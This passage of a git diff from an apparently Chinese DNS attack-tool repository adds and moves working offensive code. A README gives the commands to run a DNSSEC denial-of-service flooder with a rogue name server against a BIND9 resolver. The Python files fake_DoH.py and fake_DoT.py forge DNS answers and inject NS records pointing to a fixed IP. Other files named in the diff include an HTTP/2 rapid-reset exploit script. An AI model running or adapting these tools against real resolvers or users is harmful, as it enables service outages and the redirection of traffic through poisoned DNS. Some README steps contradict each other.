DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/context.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/handler.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/metrics.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/recorder.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/registry.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/setup.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/monitor.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/report.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/vars.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/register.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/whoami/setup.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/whoami/whoami.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin_gen.go" delete mode 100644 "att script/4(v6 DDoS)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" create mode 100644 "att script/5 (v6\347\257\241\346\224\271)/code/attack.sh" create mode 100644 "att script/5 (v6\347\257\241\346\224\271)/code/dns_OPT.bin" create mode 100644 "att script/5 (v6\347\257\241\346\224\271)/code/dns_end.bin" create mode 100644 "att script/5 (v6\347\257\241\346\224\271)/code/dns_query.sh" create mode 100644 "att script/5 (v6\347\257\241\346\224\271)/code/dns_start.bin" create mode 100644 "att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/attack.go" create mode 100644 "att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/dns.go" create mode 100644 "att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/go.mod" create mode 100644 "att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/go.sum" create mode 100644 "att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/ipv6util.go" create mode 100644 "att script/5 (v6\347\257\241\346\224\271)/code/src/fakedns6/library.go" create mode 100644 "att script/5 (v6\347\257\241\346\224\271)/code/src/flood/go.mod" create mode 100644 "att script/5 (v6\347\257\241\346\224\271)/code/src/flood/go.sum" create mode 100644 "att script/5 (v6\347\257\241\346\224\271)/code/src/flood/ipv6util.go" create mode 100644 "att script/5 (v6\347\257\241\346\224\271)/code/src/flood/main.go" create mode 100644 "att script/5 (v6\347\257\241\346\224\271)/code/start.sh" create mode 100644 "att script/5 (v6\347\257\241\346\224\271)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" delete mode 100644 "att script/5(v6\346\263\250\345\205\245)/code/attack.sh" delete mode 100644 "att script/5(v6\346\263\250\345\205\245)/code/dns_OPT.bin" delete mode 100644 "att script/5(v6\346\263\250\345\205\245)/code/dns_end.bin" delete mode 100644 "att script/5(v6\346\263\250\345\205\245)/code/dns_query.sh" delete mode 100644 "att script/5(v6\346\263\250\345\205\245)/code/dns_start.bin" delete mode 100644 "att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/attack.go" delete mode 100644 "att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/dns.go" delete mode 100644 "att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/go.mod" delete mode 100644 "att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/go.sum" delete mode 100644 "att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/ipv6util.go" delete mode 100644 "att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/library.go" delete mode 100644 "att script/5(v6\346\263\250\345\205\245)/code/src/flood/go.mod" delete mode 100644 "att script/5(v6\346\263\250\345\205\245)/code/src/flood/go.sum" delete mode 100644 "att script/5(v6\346\263\250\345\205\245)/code/src/flood/ipv6util.go" delete mode 100644 "att script/5(v6\346\263\250\345\205\245)/code/src/flood/main.go" delete mode 100644 "att script/5(v6\346\263\250\345\205\245)/code/start.sh" delete mode 100644 "att script/5(v6\346\263\250\345\205\245)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" delete mode 100644 "att script/6(v6\347\257\241\346\224\271)/code/attack.sh" delete mode 100644 "att script/6(v6\347\257\241\346\224\271)/code/dns_OPT.bin" delete mode 100644 "att script/6(v6\347\257\241\346\224\271)/code/dns_end.bin" delete mode 100644 "att script/6(v6\347\257\241\346\224\271)/code/dns_query.sh" delete mode 100644 "att script/6(v6\347\257\241\346\224\271)/code/dns_start.bin" delete mode 100644 "att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/attack.go" delete mode 100644 "att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/dns.go" delete mode 100644 "att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/go.mod" delete mode 100644 "att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/go.sum" delete mode 100644 "att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/ipv6util.go" delete mode 100644 "att script/6(v6\347\257\241\346\224\271)/code/src/fakedns6/library.go" delete mode 100644 "att script/6(v6\347\257\241\346\224\271)/code/src/flood/go.mod" delete mode 100644 "att script/6(v6\347\257\241\346\224\271)/code/src/flood/go.sum" delete mode 100644 "att script/6(v6\347\257\241\346\224\271)/code/src/flood/ipv6util.go" delete mode 100644 "att script/6(v6\347\257\241\346\224\271)/code/src/flood/main.go" delete mode 100644 "att script/6(v6\347\257\241\346\224\271)/code/start.sh" delete mode 100644 "att script/6(v6\347\257\241\346\224\271)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" create mode 100644 att script/6/.gitkeep create mode 100644 att script/6/att_pending_cookie.py create mode 100644 att script/6/start_pending.py create mode 100644 "att script/6/\350\204\211\345\206\262\346\213\222\347\273\235\346\234\215\345\212\241.pdf" create mode 100644 "att script/7/HTTP2\345\277\253\351\200\237\351\207\215\347\275\256\346\213\222\347\273\235\346\234\215\345\212\241.pdf" delete mode 100644 att script/7/att_pending_cookie.py create mode 100644 att script/7/cve44487.py delete mode 100644 att script/7/start_pending.py create mode 100644 att script/7/start_reset_att.py delete mode 100644 "att script/7/\350\204\211\345\206\262\346\213\222\347\273\235\346\234\215\345\212\241.pdf" create mode 100644 att script/8/10/.gitkeep create mode 100644 "att script/8/DoH\346\225\260\346\215\256\347\257\241\346\224\271.pdf" delete mode 100644 "att script/8/HTTP2\345\277\253\351\200\237\351\207\215\347\275\256\346\213\222\347\273\235\346\234\215\345\212\241.pdf" delete mode 100644 att script/8/cve44487.py create mode 100644 att script/8/fake_DoH.py delete mode 100644 att script/8/start_reset_att.py delete mode 100644 att script/9/10/.gitkeep delete mode 100644 "att script/9/DoH\346\225\260\346\215\256\347\257\241\346\224\271.pdf" create mode 100644 "att script/9/DoT\346\225\260\346\215\256\347\257\241\346\224\271.pdf" create mode 100644 att script/9/dot_stub.py delete mode 100644 att script/9/fake_DoH.py create mode 100644 att script/9/fake_DoT.py delete mode 100644 att script/dnssec-ddos/ddos-topology.png delete mode 100644 att script/dnssec-ddos/dtool delete mode 100644 att script/dnssec-ddos/rogue-ns delete mode 100644 "att script/dnssec-ddos/\350\257\264\346\230\216.md" delete mode 100644 att script/dnssec-downgrade/downgrade-topology.png delete mode 100644 att script/dnssec-downgrade/proxy.py delete mode 100644 "att script/dnssec-downgrade/\350\257\264\346\230\216.md" delete mode 100644 att script/target_GZ/fpdns_client delete mode 100644 att script/target_GZ/fpdns_server delete mode 100644 att script/target_GZ/topology.png delete mode 100644 "att script/target_GZ/\350\257\264\346\230\216.md" delete mode 100644 "att script/target_GZ/\350\257\267\345\210\240\351\231\244\346\210\221.txt" diff --git a/att script/1 (dnssec-ddos)/ddos-topology.png b/att script/1 (dnssec-ddos)/ddos-topology.png new file mode 100644 index 0000000..846ff8c Binary files /dev/null and b/att script/1 (dnssec-ddos)/ddos-topology.png differ diff --git a/att script/1 (dnssec-ddos)/dtool b/att script/1 (dnssec-ddos)/dtool new file mode 100644 index 0000000..f6479fc Binary files /dev/null and b/att script/1 (dnssec-ddos)/dtool differ diff --git a/att script/1 (dnssec-ddos)/rogue-ns b/att script/1 (dnssec-ddos)/rogue-ns new file mode 100644 index 0000000..b01aec9 Binary files /dev/null and b/att script/1 (dnssec-ddos)/rogue-ns differ diff --git "a/att script/1 (dnssec-ddos)/\350\257\264\346\230\216.md" "b/att script/1 (dnssec-ddos)/\350\257\264\346\230\216.md" new file mode 100644 index 0000000..e385ad7 --- /dev/null +++ "b/att script/1 (dnssec-ddos)/\350\257\264\346\230\216.md" @@ -0,0 +1,73 @@ +## 使用说明 + +### 基本目标 + +通过向目标域名解析服务器发送特定请求,使目标服务器服务质量下降或无法提供服务,形成拒绝服务攻击。 + +### 软件环境 + +DNSSEC拒绝服务攻击中共需要4种软件,如下表所示,其中主要测试对象为目录中的拒绝服务攻击工具dtool和辅助攻击工具rogue-ns,dig工具用于从客户端发起DNS查询并查看解析结果,docker用于运行必要的DNS服务器和监控组件容器。 + +| 软件名称 | 版本 | 作用 | 备注 | +| ------- | ---- | ---- | ---- | +|拒绝服务攻击工具|v1.0|发送拒绝服务攻击请求|| +|辅助攻击工具|v1.0|辅助进行拒绝服务攻击|| +|dig|9.11.36|发起DNS查询并查看解析结果|| +|docker|24.0.5|安装必要容器|| + +### 硬件环境 + +测试中共需要三台服务器A,B和C。服务器均为公有云VPS,基本配置为Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存。 + +|硬件名称|数量|配置|作用| +|---|---|---|---| +|公有云VPS|3|Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存|安装运行必要软件| + +### 测试拓扑 + +测试拓扑如下图。 + +![](ddos-topology.png) + +### 部署方法 + +#### 目标及监控部署 + +在服务器B上通过docker安装BIND9容器作为攻击目标,安装cadvisor,prometheus和grafana进行服务器B的状态监控。 + +#### 拒绝服务攻击工具部署 + +将可执行文件dtool移动到服务器A上。 + +#### 辅助攻击工具部署 + +将可执行文件rogue-ns移动到服务器C上。 + +### 使用方法 + +#### 辅助攻击工具 + +|参数|说明|示例| +|---|---|---| +|-sld|攻击中使用的二级域名|echodns.xyz| + +#### 拒绝服务攻击工具 + +|参数|说明|示例| +|---|---|---| +|query|攻击中使用的二级域名|echodns.xyz| +|-p|目标端口|53| +|-d|攻击中使用的域名后缀|rogue.echodns.xyz| +|-R|是否进行域名随机生成,布尔型参数|| +|-r|发送请求速率|100| +|-n|发送请求总量|10000| + + +### 测试方法 + +1. 在服务器B上启动BIND9容器; +2. 在服务器C上执行命令`./rogue-ns -sld echodns.xyz`,启动辅助攻击工具; +3. 在服务器A上执行命令`./dtool query {ip} -p 5353 -R -d rogue.jtfgzlm.icu -r 300 -n 60000`,启动拒绝服务攻击脚本向目标进行攻击; +4. 通过服务器B上3000端口的grafana仪表盘监控目标状态; +5. 在服务器A上使用dig向目标进行DNS查询,通过解析时延和超时情况判断攻击效果。 + diff --git "a/att script/10/DoH\346\225\260\346\215\256\346\263\250\345\205\245.pdf" "b/att script/10/DoH\346\225\260\346\215\256\346\263\250\345\205\245.pdf" new file mode 100644 index 0000000..803611c Binary files /dev/null and "b/att script/10/DoH\346\225\260\346\215\256\346\263\250\345\205\245.pdf" differ diff --git "a/att script/10/DoT\346\225\260\346\215\256\347\257\241\346\224\271.pdf" "b/att script/10/DoT\346\225\260\346\215\256\347\257\241\346\224\271.pdf" deleted file mode 100644 index d6acd8c..0000000 Binary files "a/att script/10/DoT\346\225\260\346\215\256\347\257\241\346\224\271.pdf" and /dev/null differ diff --git a/att script/10/dot_stub.py b/att script/10/dot_stub.py deleted file mode 100644 index 3c35dc7..0000000 --- a/att script/10/dot_stub.py +++ /dev/null @@ -1,45 +0,0 @@ -import socket -import ssl -import dns.message -import dns.query -import dns.rcode -import argparse - -parser = argparse.ArgumentParser() -parser.add_argument('-dot', '--dot', default='dns.alidns.com') -args = parser.parse_args() -print(f'DoT server: {args.dot}') -upstream_server = '47.88.31.213' - -# 创建监听socket -listener = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) -listener.bind(('127.0.0.1', 53)) - -# 创建TLS连接 -context = ssl.create_default_context() -context.check_hostname = False -context.verify_mode = ssl.CERT_NONE -while True: - # 接收DNS请求 - data, addr = listener.recvfrom(1024) - #print(dns.message.from_wire(data)) - data = dns.message.from_wire(data) - if 'baidu' in data.question.__str__(): - # print(data) - # print(addr) - print('DNS请求:', data.question) - # # 创建TLS连接并发送DNS请求到上游服务器 - resp = dns.query.tls( - q=data, - where=upstream_server, - timeout=10, - ssl_context=context) - print('DNS响应:', resp.answer) - # with socket.create_connection((upstream_server,853)) as sock: - # with context.wrap_socket(sock, server_hostname=upstream_server[0]) as tls_sock: - # tls_sock.sendall(data.to_wire()) - # resp = tls_sock.recv(4096) - - # 将上游服务器的响应发送回客户端 - listener.sendto(resp.to_wire(), addr) - break diff --git a/att script/10/fake_DoH.py b/att script/10/fake_DoH.py new file mode 100644 index 0000000..02f3829 --- /dev/null +++ b/att script/10/fake_DoH.py @@ -0,0 +1,63 @@ +import argparse +import base64 +import ssl +import dns.asyncquery +import dns.rcode +import aiohttp +import dns.message +import dns.rrset +from aiohttp import web + +DNS_SERVER_ADDRESS = '223.5.5.5' +DNS_SERVER_PORT = 53 + +async def doh_handler(request): + if request.method == "GET": + rquery = str(request.query).split(' ')[1] + #print(rquery) + rquery = rquery.ljust(len(rquery) + len(rquery) % 4, "=") + doh_request = dns.message.from_wire(base64.b64decode(rquery.encode("UTF8"))) + else: + try: + doh_request = dns.message.from_wire(await request.read()) + except : + return web.Response(text='Invalid DNS request', status=400) + + dns_request = dns.message.make_query(doh_request.question[0].name, doh_request.question[0].rdtype) + dns_request.id = doh_request.id + # 发起DNS请求 + dns_response = await dns.asyncquery.udp(q = dns_request, port=DNS_SERVER_PORT, where=DNS_SERVER_ADDRESS) + #print(dns_response) + + if str(doh_request.question[0].name) == tamper and int(doh_request.question[0].rdtype)==1: + print('---tamper---',tamper) + dns_response.answer = [ dns.rrset.from_text(tamper,3600,dns.rdataclass.IN, dns.rdatatype.A,'39.106.44.126')] + if str(doh_request.question[0].name) == inject: + print('---inject---',inject) + dns_response.additional = [dns.rrset.from_text(inject,3600,dns.rdataclass.IN, dns.rdatatype.NS,'ns.'+inject.split('.',1)[1]), + dns.rrset.from_text('ns.'+inject.split('.',1)[1],3600,dns.rdataclass.IN, dns.rdatatype.A,ns)] + #print(dns_response) + # 构建HTTPS响应 + response = web.Response(body=dns_response.to_wire()) + response.content_type = 'application/dns-message' + return response + + +parser = argparse.ArgumentParser() +parser.add_argument('-tamper', '--tamper', default='') +parser.add_argument('-inject', '--inject', default='') +parser.add_argument('-ns', '--ns', default='39.106.44.126') +args = parser.parse_args() +tamper = args.tamper +'.' +inject = args.inject +'.' +ns = args.ns +#print('tamper:',tamper) +DOH_SERVER_URL = "https://dns.alidns.com/dns-query" +CERT_FILE = "/usr/local/etc/unbound/cert_new4/app.crt" +KEY_FILE = "/usr/local/etc/unbound/cert_new4/app.key" +ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) +ssl_context.load_cert_chain(CERT_FILE, KEY_FILE) +app = web.Application() +app.router.add_get(path='/dns-query',handler=doh_handler) +app.router.add_post(path='/dns-query',handler=doh_handler) +web.run_app(app, host='127.0.0.1', port=8444, ssl_context=ssl_context) \ No newline at end of file diff --git a/att script/10/fake_DoT.py b/att script/10/fake_DoT.py deleted file mode 100644 index 4e45754..0000000 --- a/att script/10/fake_DoT.py +++ /dev/null @@ -1,63 +0,0 @@ -import argparse -import asyncio -import ssl -import socket -import dns.asyncquery -import dns.message -import dns.rcode -import dns.flags -import dns.message -import dns.rrset -from dnslib import DNSRecord - -async def handle_client(reader, writer): - request_data = await reader.read(1024) - request = dns.message.from_wire(request_data[2:]) - #print(request) - dns_request = dns.message.make_query(request.question[0].name, request.question[0].rdtype) - dns_request.id = request.id - #print(dns_request) - dns_response = await dns.asyncquery.udp(q=dns_request, port=53, where='223.5.5.5') - #print(dns_response) - if str(request.question[0].name) == tamper and int(request.question[0].rdtype) == 1: - print('---tamper---', tamper) - dns_response.answer = [dns.rrset.from_text(tamper, 3600, dns.rdataclass.IN, dns.rdatatype.A, '39.106.44.126')] - if str(request.question[0].name) == inject: - print('---inject---', inject) - dns_response.additional = [dns.rrset.from_text(inject,3600,dns.rdataclass.IN, dns.rdatatype.NS,'ns.'+inject.split('.',1)[1]), - dns.rrset.from_text('ns.'+inject.split('.',1)[1],3600,dns.rdataclass.IN, dns.rdatatype.A,ns)] - #print(dns_response) - - response_data = dns_response - record_header = len(response_data.to_wire()).to_bytes(2, 'big') - # 构建完整的TLS响应数据 - tls_response_data = record_header + response_data.to_wire() - writer.write(tls_response_data) - await writer.drain() - writer.close() - -async def start_server(): - # 配置服务器参数 - listen_address = '0.0.0.0' - listen_port = 853 - CERT_FILE = "/usr/local/etc/unbound/cert_new4/app.crt" # 替换为你的SSL证书文件路径 - KEY_FILE = "/usr/local/etc/unbound/cert_new4/app.key" # 替换为你的SSL密钥文件路径 - context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) - context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE) - # 创建TCP服务器 - server = await asyncio.start_server( - handle_client, listen_address, listen_port, ssl=context) - - print(f'DoT server listening on {listen_address}:{listen_port}') - async with server: - await server.serve_forever() - -parser = argparse.ArgumentParser() -parser.add_argument('-tamper', '--tamper', default='') -parser.add_argument('-inject', '--inject', default='') -parser.add_argument('-ns', '--ns', default='39.106.44.126') -args = parser.parse_args() -tamper = args.tamper +'.' -inject = args.inject +'.' -ns = args.ns -asyncio.run(start_server()) \ No newline at end of file diff --git "a/att script/11/DoH\346\225\260\346\215\256\346\263\250\345\205\245.pdf" "b/att script/11/DoH\346\225\260\346\215\256\346\263\250\345\205\245.pdf" deleted file mode 100644 index 803611c..0000000 Binary files "a/att script/11/DoH\346\225\260\346\215\256\346\263\250\345\205\245.pdf" and /dev/null differ diff --git "a/att script/11/DoT\346\225\260\346\215\256\346\263\250\345\205\245.pdf" "b/att script/11/DoT\346\225\260\346\215\256\346\263\250\345\205\245.pdf" new file mode 100644 index 0000000..eec7498 Binary files /dev/null and "b/att script/11/DoT\346\225\260\346\215\256\346\263\250\345\205\245.pdf" differ diff --git a/att script/11/dot_stub.py b/att script/11/dot_stub.py new file mode 100644 index 0000000..3c35dc7 --- /dev/null +++ b/att script/11/dot_stub.py @@ -0,0 +1,45 @@ +import socket +import ssl +import dns.message +import dns.query +import dns.rcode +import argparse + +parser = argparse.ArgumentParser() +parser.add_argument('-dot', '--dot', default='dns.alidns.com') +args = parser.parse_args() +print(f'DoT server: {args.dot}') +upstream_server = '47.88.31.213' + +# 创建监听socket +listener = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +listener.bind(('127.0.0.1', 53)) + +# 创建TLS连接 +context = ssl.create_default_context() +context.check_hostname = False +context.verify_mode = ssl.CERT_NONE +while True: + # 接收DNS请求 + data, addr = listener.recvfrom(1024) + #print(dns.message.from_wire(data)) + data = dns.message.from_wire(data) + if 'baidu' in data.question.__str__(): + # print(data) + # print(addr) + print('DNS请求:', data.question) + # # 创建TLS连接并发送DNS请求到上游服务器 + resp = dns.query.tls( + q=data, + where=upstream_server, + timeout=10, + ssl_context=context) + print('DNS响应:', resp.answer) + # with socket.create_connection((upstream_server,853)) as sock: + # with context.wrap_socket(sock, server_hostname=upstream_server[0]) as tls_sock: + # tls_sock.sendall(data.to_wire()) + # resp = tls_sock.recv(4096) + + # 将上游服务器的响应发送回客户端 + listener.sendto(resp.to_wire(), addr) + break diff --git a/att script/11/fake_DoH.py b/att script/11/fake_DoH.py deleted file mode 100644 index 02f3829..0000000 --- a/att script/11/fake_DoH.py +++ /dev/null @@ -1,63 +0,0 @@ -import argparse -import base64 -import ssl -import dns.asyncquery -import dns.rcode -import aiohttp -import dns.message -import dns.rrset -from aiohttp import web - -DNS_SERVER_ADDRESS = '223.5.5.5' -DNS_SERVER_PORT = 53 - -async def doh_handler(request): - if request.method == "GET": - rquery = str(request.query).split(' ')[1] - #print(rquery) - rquery = rquery.ljust(len(rquery) + len(rquery) % 4, "=") - doh_request = dns.message.from_wire(base64.b64decode(rquery.encode("UTF8"))) - else: - try: - doh_request = dns.message.from_wire(await request.read()) - except : - return web.Response(text='Invalid DNS request', status=400) - - dns_request = dns.message.make_query(doh_request.question[0].name, doh_request.question[0].rdtype) - dns_request.id = doh_request.id - # 发起DNS请求 - dns_response = await dns.asyncquery.udp(q = dns_request, port=DNS_SERVER_PORT, where=DNS_SERVER_ADDRESS) - #print(dns_response) - - if str(doh_request.question[0].name) == tamper and int(doh_request.question[0].rdtype)==1: - print('---tamper---',tamper) - dns_response.answer = [ dns.rrset.from_text(tamper,3600,dns.rdataclass.IN, dns.rdatatype.A,'39.106.44.126')] - if str(doh_request.question[0].name) == inject: - print('---inject---',inject) - dns_response.additional = [dns.rrset.from_text(inject,3600,dns.rdataclass.IN, dns.rdatatype.NS,'ns.'+inject.split('.',1)[1]), - dns.rrset.from_text('ns.'+inject.split('.',1)[1],3600,dns.rdataclass.IN, dns.rdatatype.A,ns)] - #print(dns_response) - # 构建HTTPS响应 - response = web.Response(body=dns_response.to_wire()) - response.content_type = 'application/dns-message' - return response - - -parser = argparse.ArgumentParser() -parser.add_argument('-tamper', '--tamper', default='') -parser.add_argument('-inject', '--inject', default='') -parser.add_argument('-ns', '--ns', default='39.106.44.126') -args = parser.parse_args() -tamper = args.tamper +'.' -inject = args.inject +'.' -ns = args.ns -#print('tamper:',tamper) -DOH_SERVER_URL = "https://dns.alidns.com/dns-query" -CERT_FILE = "/usr/local/etc/unbound/cert_new4/app.crt" -KEY_FILE = "/usr/local/etc/unbound/cert_new4/app.key" -ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) -ssl_context.load_cert_chain(CERT_FILE, KEY_FILE) -app = web.Application() -app.router.add_get(path='/dns-query',handler=doh_handler) -app.router.add_post(path='/dns-query',handler=doh_handler) -web.run_app(app, host='127.0.0.1', port=8444, ssl_context=ssl_context) \ No newline at end of file diff --git a/att script/11/fake_DoT.py b/att script/11/fake_DoT.py new file mode 100644 index 0000000..4e45754 --- /dev/null +++ b/att script/11/fake_DoT.py @@ -0,0 +1,63 @@ +import argparse +import asyncio +import ssl +import socket +import dns.asyncquery +import dns.message +import dns.rcode +import dns.flags +import dns.message +import dns.rrset +from dnslib import DNSRecord + +async def handle_client(reader, writer): + request_data = await reader.read(1024) + request = dns.message.from_wire(request_data[2:]) + #print(request) + dns_request = dns.message.make_query(request.question[0].name, request.question[0].rdtype) + dns_request.id = request.id + #print(dns_request) + dns_response = await dns.asyncquery.udp(q=dns_request, port=53, where='223.5.5.5') + #print(dns_response) + if str(request.question[0].name) == tamper and int(request.question[0].rdtype) == 1: + print('---tamper---', tamper) + dns_response.answer = [dns.rrset.from_text(tamper, 3600, dns.rdataclass.IN, dns.rdatatype.A, '39.106.44.126')] + if str(request.question[0].name) == inject: + print('---inject---', inject) + dns_response.additional = [dns.rrset.from_text(inject,3600,dns.rdataclass.IN, dns.rdatatype.NS,'ns.'+inject.split('.',1)[1]), + dns.rrset.from_text('ns.'+inject.split('.',1)[1],3600,dns.rdataclass.IN, dns.rdatatype.A,ns)] + #print(dns_response) + + response_data = dns_response + record_header = len(response_data.to_wire()).to_bytes(2, 'big') + # 构建完整的TLS响应数据 + tls_response_data = record_header + response_data.to_wire() + writer.write(tls_response_data) + await writer.drain() + writer.close() + +async def start_server(): + # 配置服务器参数 + listen_address = '0.0.0.0' + listen_port = 853 + CERT_FILE = "/usr/local/etc/unbound/cert_new4/app.crt" # 替换为你的SSL证书文件路径 + KEY_FILE = "/usr/local/etc/unbound/cert_new4/app.key" # 替换为你的SSL密钥文件路径 + context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) + context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE) + # 创建TCP服务器 + server = await asyncio.start_server( + handle_client, listen_address, listen_port, ssl=context) + + print(f'DoT server listening on {listen_address}:{listen_port}') + async with server: + await server.serve_forever() + +parser = argparse.ArgumentParser() +parser.add_argument('-tamper', '--tamper', default='') +parser.add_argument('-inject', '--inject', default='') +parser.add_argument('-ns', '--ns', default='39.106.44.126') +args = parser.parse_args() +tamper = args.tamper +'.' +inject = args.inject +'.' +ns = args.ns +asyncio.run(start_server()) \ No newline at end of file diff --git a/att script/12-16 (target_GZ)/fpdns_client b/att script/12-16 (target_GZ)/fpdns_client new file mode 100644 index 0000000..a2c49bb Binary files /dev/null and b/att script/12-16 (target_GZ)/fpdns_client differ diff --git a/att script/12-16 (target_GZ)/fpdns_server b/att script/12-16 (target_GZ)/fpdns_server new file mode 100644 index 0000000..39c6a48 Binary files /dev/null and b/att script/12-16 (target_GZ)/fpdns_server differ diff --git a/att script/12-16 (target_GZ)/topology.png b/att script/12-16 (target_GZ)/topology.png new file mode 100644 index 0000000..265d903 Binary files /dev/null and b/att script/12-16 (target_GZ)/topology.png differ diff --git "a/att script/12-16 (target_GZ)/\350\257\264\346\230\216.md" "b/att script/12-16 (target_GZ)/\350\257\264\346\230\216.md" new file mode 100644 index 0000000..7fc8847 --- /dev/null +++ "b/att script/12-16 (target_GZ)/\350\257\264\346\230\216.md" @@ -0,0 +1,66 @@ +## 使用说明 + +### 基本目标 + +通过主动探测精确感知目标DNS服务的各项参数。 + +### 软件环境 + +目标感知中共需要3种软件,如下表所示,其中主要测试对象为目录中的目标感知工具fpdns_client和辅助感知工具fpdns_server,BIND9递归解析器作为感知目标。 + +| 软件名称 | 版本 | 作用 | 备注 | +| ------- | ---- | ---- | ---- | +|目标感知工具|v1.0|进行目标感知|| +|辅助感知工具|v1.0|辅助进行目标感知|| +|BIND9|9.11.36|作为感知目标|| + +### 硬件环境 + +测试中共需要2台服务器A和B。服务器均为公有云VPS,基本配置为Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存。 + +|硬件名称|数量|配置|作用| +|---|---|---|---| +|公有云VPS|2|Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存|安装运行必要软件| + +### 测试拓扑 + +测试拓扑如下图。 + +![](topology.png) + +### 部署方法 + +#### 感知目标部署 + +在服务器A上安装BIND9,设置模式为递归解析模式。 + +#### 目标感知工具部署 + +将可执行文件fpdns_client移动到服务器A上。 + +#### 辅助感知工具部署 + +将可执行文件fpdns_server移动到服务器C上。 + +### 使用方法 + +#### 辅助感知工具 + +|参数|说明|示例| +|---|---|---| +|-sld|感知中使用的二级域名|echodns.xyz| + +#### 拒绝服务攻击工具 + +|参数|说明|示例| +|---|---|---| +|-target|感知目标的IP地址|1.2.3.4| + + +### 测试方法 + +1. 在服务器A上启动BIND9递归解析器; +2. 在服务器B上执行命令`./fpdns_server -sld echodns.xyz`,启动辅助感知工具; +3. 在服务器A上执行命令`./dtool -target {ip}`,进行目标感知 +4. 等待感知完毕,通过输出结果判断感知效果 + diff --git "a/att script/12-16 (target_GZ)/\350\257\267\345\210\240\351\231\244\346\210\221.txt" "b/att script/12-16 (target_GZ)/\350\257\267\345\210\240\351\231\244\346\210\221.txt" new file mode 100644 index 0000000..e69de29 diff --git a/att script/12/.gitkeep b/att script/12/.gitkeep deleted file mode 100644 index e69de29..0000000 diff --git "a/att script/12/DoT\346\225\260\346\215\256\346\263\250\345\205\245.pdf" "b/att script/12/DoT\346\225\260\346\215\256\346\263\250\345\205\245.pdf" deleted file mode 100644 index eec7498..0000000 Binary files "a/att script/12/DoT\346\225\260\346\215\256\346\263\250\345\205\245.pdf" and /dev/null differ diff --git a/att script/12/dot_stub.py b/att script/12/dot_stub.py deleted file mode 100644 index 3c35dc7..0000000 --- a/att script/12/dot_stub.py +++ /dev/null @@ -1,45 +0,0 @@ -import socket -import ssl -import dns.message -import dns.query -import dns.rcode -import argparse - -parser = argparse.ArgumentParser() -parser.add_argument('-dot', '--dot', default='dns.alidns.com') -args = parser.parse_args() -print(f'DoT server: {args.dot}') -upstream_server = '47.88.31.213' - -# 创建监听socket -listener = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) -listener.bind(('127.0.0.1', 53)) - -# 创建TLS连接 -context = ssl.create_default_context() -context.check_hostname = False -context.verify_mode = ssl.CERT_NONE -while True: - # 接收DNS请求 - data, addr = listener.recvfrom(1024) - #print(dns.message.from_wire(data)) - data = dns.message.from_wire(data) - if 'baidu' in data.question.__str__(): - # print(data) - # print(addr) - print('DNS请求:', data.question) - # # 创建TLS连接并发送DNS请求到上游服务器 - resp = dns.query.tls( - q=data, - where=upstream_server, - timeout=10, - ssl_context=context) - print('DNS响应:', resp.answer) - # with socket.create_connection((upstream_server,853)) as sock: - # with context.wrap_socket(sock, 